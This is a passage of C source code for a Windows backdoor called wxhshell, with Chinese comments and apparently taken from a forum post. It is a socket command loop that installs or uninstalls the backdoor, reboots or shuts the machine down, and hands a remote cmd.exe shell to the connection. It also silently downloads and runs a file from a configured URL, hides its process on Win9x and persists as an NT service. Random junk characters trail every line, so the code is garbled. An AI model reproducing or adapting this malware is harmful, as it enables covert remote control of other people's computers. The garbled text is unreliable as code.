      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -%U 15W;  
    break; % 1+\N  
  } iE|qU_2Y  
  // 安装 S!<1C Fh  
  case 'i': { =.]>,N`C  
    if(Install()) b$24${*'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sp0j2<$a  
    else CFW\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Ot I8;>  
    break; G$5N8k[2  
    } O>E2G]K]\  
  // 卸载 $hkMJ),T~  
  case 'r': { fDn|o"  
    if(Uninstall()) o*_O1P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CZ/bO#~  
    else ~9:ILCfX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zm:Wig ,a  
    break; _Gf.1Bsf@S  
    } pLFJ"3IJB  
  // 显示 wxhshell 所在路径 n: ~y]  
  case 'p': { &~u=vuX  
    char svExeFile[MAX_PATH]; [3s p  
    strcpy(svExeFile,"\n\r"); vu%:0p` K  
      strcat(svExeFile,ExeFile); Uf`lGGM  
        send(wsh,svExeFile,strlen(svExeFile),0); pX:FXzYQ  
    break; fC_dSM[{c  
    } ;JcOm&d/hk  
  // 重启 w2:!yQk_  
  case 'b': { 2 o`a^'Iw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .oJs"=h:m  
    if(Boot(REBOOT)) cm8-L[>E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7-oH >OF^  
    else { u#8J`%g  
    closesocket(wsh); b"ypS7 _  
    ExitThread(0); n.{+\M6k  
    } )U`"3R  
    break; VK*2`Z1  
    } H:X=v+W  
  // 关机 'JBf*p".  
  case 'd': { F Ty`#*7Ul  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H<M ggs-  
    if(Boot(SHUTDOWN)) ]U]22I'+$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C*}TY)8  
    else { NX$S^Z\QI  
    closesocket(wsh); ?I`BbT}  
    ExitThread(0); >-Qg4%m  
    } oRM,_  
    break; fb5]eec  
    } 7L[HtwI  
  // 获取shell |S5N$[  
  case 's': { 9})!~r;|  
    CmdShell(wsh); 41<.e` {  
    closesocket(wsh); zfE;)K^"  
    ExitThread(0); aW8Bx\q  
    break; ?-g=Rfpag  
  } OQ$77]XtvL  
  // 退出 Jlw oSe:S  
  case 'x': { wX6VapFboI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qAsZ,ik  
    CloseIt(wsh); }2.^n{Y  
    break; v hUn3|  
    } T/ CI?sn  
  // 离开 s D] W/  
  case 'q': { rsP3?.E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uf* sI  
    closesocket(wsh);  0gBD  
    WSACleanup(); _Cv({m&N  
    exit(1); ?Uzs^rsb  
    break; "h/{YjUS  
        }  J9oGw P  
  } f[n#Eu}   
  } Y8I$J BO  
WV5gH*uUa  
  // 提示信息 ex8mA6g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P5ii3a?R  
} X6mY#T'fQ  
  } VVdgNT|}W  
G?)vqmJ%  
  return; Eb`U^*A  
} W:uIG-y~  
]6{G;f$  
// shell模块句柄  Xc2Oa  
int CmdShell(SOCKET sock) tw8@&8"  
{ yV :DR  
STARTUPINFO si; vrsO]ctI  
ZeroMemory(&si,sizeof(si)); D"F5-s7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jxL5L[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ys10r-kDS  
PROCESS_INFORMATION ProcessInfo; \oPW  
char cmdline[]="cmd"; s> JmLtT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VdR5ZP  
  return 0; CTt3W>'=+  
} AigL:4[  
$|!VP'VI  
// 自身启动模式 {A4"KX(U  
int StartFromService(void) A%n l@`s,  
{ M_V\mYC8I  
typedef struct M'D;2qo  
{ VrhG=CK  
  DWORD ExitStatus; B`a5%asJn  
  DWORD PebBaseAddress; w .l2  
  DWORD AffinityMask; ARW|wXhyf  
  DWORD BasePriority; -^8gZk/(W  
  ULONG UniqueProcessId; t &u,Od  
  ULONG InheritedFromUniqueProcessId; $Q1:>i@I|g  
}   PROCESS_BASIC_INFORMATION; -IJt( X|  
`gy]|gS#b  
PROCNTQSIP NtQueryInformationProcess; -p`hevRr  
KcVCA    
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wx"bW ICc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b/oJ[Vf  
pYJv|`+  
  HANDLE             hProcess; &C3J6uCm+  
  PROCESS_BASIC_INFORMATION pbi; /reSU 2  
v\:>} <gc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Vc_.dR)E  
  if(NULL == hInst ) return 0; :L`  
KYVB=14  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DY?`Y%"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yNAvXkp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XU.ZYYZ=  
38 Lc|w  
  if (!NtQueryInformationProcess) return 0; Zb`}/%\7  
w :Fes  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qt+vmi+~  
  if(!hProcess) return 0; YMnG-'^Z  
n.,\Z(l|0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l%lkDh!$"  
0 8vA;6zt  
  CloseHandle(hProcess); W,YzD&f=uS  
V4f ~#Tp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }4Lv-9s,  
if(hProcess==NULL) return 0; $k*E^~qT  
!l@IG C  
HMODULE hMod; YY]JjMkU  
char procName[255]; i NzoDmE*  
unsigned long cbNeeded; -G]\"ZGi  
lu_ y9o^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D0=D8P}H:  
Q4-d2I>0  
  CloseHandle(hProcess); qHg\n)R"x!  
T30!'F(*,  
if(strstr(procName,"services")) return 1; // 以服务启动 g^"",!J/  
gKcP\m  
  return 0; // 注册表启动 ` DO`c>>K  
} YEAiLC+q  
uXW<8( %W  
// 主模块 w``t"v4  
int StartWxhshell(LPSTR lpCmdLine) yInW?3  
{ BqK|4-Pf  
  SOCKET wsl; k}l5v)m  
BOOL val=TRUE; e{.2*>pH  
  int port=0; "m):"  
  struct sockaddr_in door; { dwm>a  
5NbI Vz  
  if(wscfg.ws_autoins) Install(); Fkj\U^G  
+ww paR`  
port=atoi(lpCmdLine); J`;G9'n2  
,ju1:`  
if(port<=0) port=wscfg.ws_port; 8$-Wz:X&  
MOP %vS   
  WSADATA data; e2UbeP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ps7(4%  
+w:[By"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z<K[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f8_5.vlw  
  door.sin_family = AF_INET; YMad]_XOP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )!hDF9O  
  door.sin_port = htons(port); d4/snvq  
a*6x^R;)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +Vt@~Z4K  
closesocket(wsl); O*rKV2\  
return 1; ;o_4)+}  
} A!H6$-W|p  
KWCA9.w4q  
  if(listen(wsl,2) == INVALID_SOCKET) { ~HI|t2C  
closesocket(wsl); {>fvyF  
return 1; [Nr6 qxWg  
} V' "p a  
  Wxhshell(wsl); o;M"C[  
  WSACleanup(); / _-?NZ  
b\"JXfw  
return 0; 2sjV*\Udf  
'y}l9alF  
} xKEHN gen  
tn+i5Eso  
// 以NT服务方式启动 A5z`_b4f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K=M5d^K<E  
{ NtkEb :  
DWORD   status = 0; .<^dv?@  
  DWORD   specificError = 0xfffffff; l~AmHw e  
,* ?bET $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k]`I 3>/L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cgc| G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~EW (2B{u  
  serviceStatus.dwWin32ExitCode     = 0; + B%fp*  
  serviceStatus.dwServiceSpecificExitCode = 0; nYY@+%` ]z  
  serviceStatus.dwCheckPoint       = 0; \gki!!HQ  
  serviceStatus.dwWaitHint       = 0; Nj*J~&6G  
s{x2RDAt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qxG @Zd  
  if (hServiceStatusHandle==0) return; m[!t7e  
Ex^7`-2,B  
status = GetLastError(); #JYv1F  
  if (status!=NO_ERROR) '{QbjG%<P  
{ 4Wk/^*?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #q9jFW8  
    serviceStatus.dwCheckPoint       = 0; zPWG^  
    serviceStatus.dwWaitHint       = 0; >1T=Aw2Z.  
    serviceStatus.dwWin32ExitCode     = status; C]K@SN$   
    serviceStatus.dwServiceSpecificExitCode = specificError; 2TmQaDu%b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {jcrTjmxe  
    return; [mJc c  
  } aN}yS=(Ff  
4 (& W>E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lE`hC#m  
  serviceStatus.dwCheckPoint       = 0; R"];`F(#  
  serviceStatus.dwWaitHint       = 0; tk|Ew!M:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0qnToV;  
} hvQOwA;e  
\,!FL))yC  
// 处理NT服务事件,比如:启动、停止 29z+<?K{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) epJVs0W  
{ K;,n?Q w  
switch(fdwControl) +IK~a9t  
{ 7]@vPr;:  
case SERVICE_CONTROL_STOP: y'*^ '  
  serviceStatus.dwWin32ExitCode = 0; b4Zkj2L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HY~\e|o  
  serviceStatus.dwCheckPoint   = 0; dMCV !$  
  serviceStatus.dwWaitHint     = 0; 5Z ] `n  
  { d2'9C6t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~#h@.yW^JN  
  } 8h=H\v^f  
  return; CA7tI >y_  
case SERVICE_CONTROL_PAUSE: MM3X! tq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uwsGtgd&  
  break; Z`o}xV  
case SERVICE_CONTROL_CONTINUE: [~` ; .7~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A 7'dD$9  
  break; J )oa:Q  
case SERVICE_CONTROL_INTERROGATE: cT`x,2  
  break; (zwxrOS  
}; D@rOX(m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8&qCH>Cf  
} t(?m!Z?tb  
]QJLES  
// 标准应用程序主函数 L}P<iB   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |F-_YR  
{ [a53H$`\5  
ZtlF]k:MV  
// 获取操作系统版本 67+ K ?!,  
OsIsNt=GetOsVer(); gs_"H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Os?G_ziIB  
2/ PaXI/Z  
  // 从命令行安装 ~j^HDHY@  
  if(strpbrk(lpCmdLine,"iI")) Install(); T|GRkxd,E3  
[(B A:x1  
  // 下载执行文件 B#&U5fSw+0  
if(wscfg.ws_downexe) { q@~N?$>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -A(] ",*J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1 9$ufod  
} puG$\D-[  
u3R0_8 _.w  
if(!OsIsNt) { "pa5+N&2-  
// 如果时win9x,隐藏进程并且设置为注册表启动 +M$2:[xRT  
HideProc(); TW(rK&  
StartWxhshell(lpCmdLine); W @Y$!V<  
} YC - -&66  
else 4xk'R[v  
  if(StartFromService()) _&FcHwRy  
  // 以服务方式启动 C8}ujC  
  StartServiceCtrlDispatcher(DispatchTable); =O?<WJoK  
else E}-Y@( [  
  // 普通方式启动 Wo&MHMP  
  StartWxhshell(lpCmdLine); J_ ?;On5  
+_|M*%  
return 0; Vl5}m  
}
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只看该作者 1 发表于: 2006-10-10
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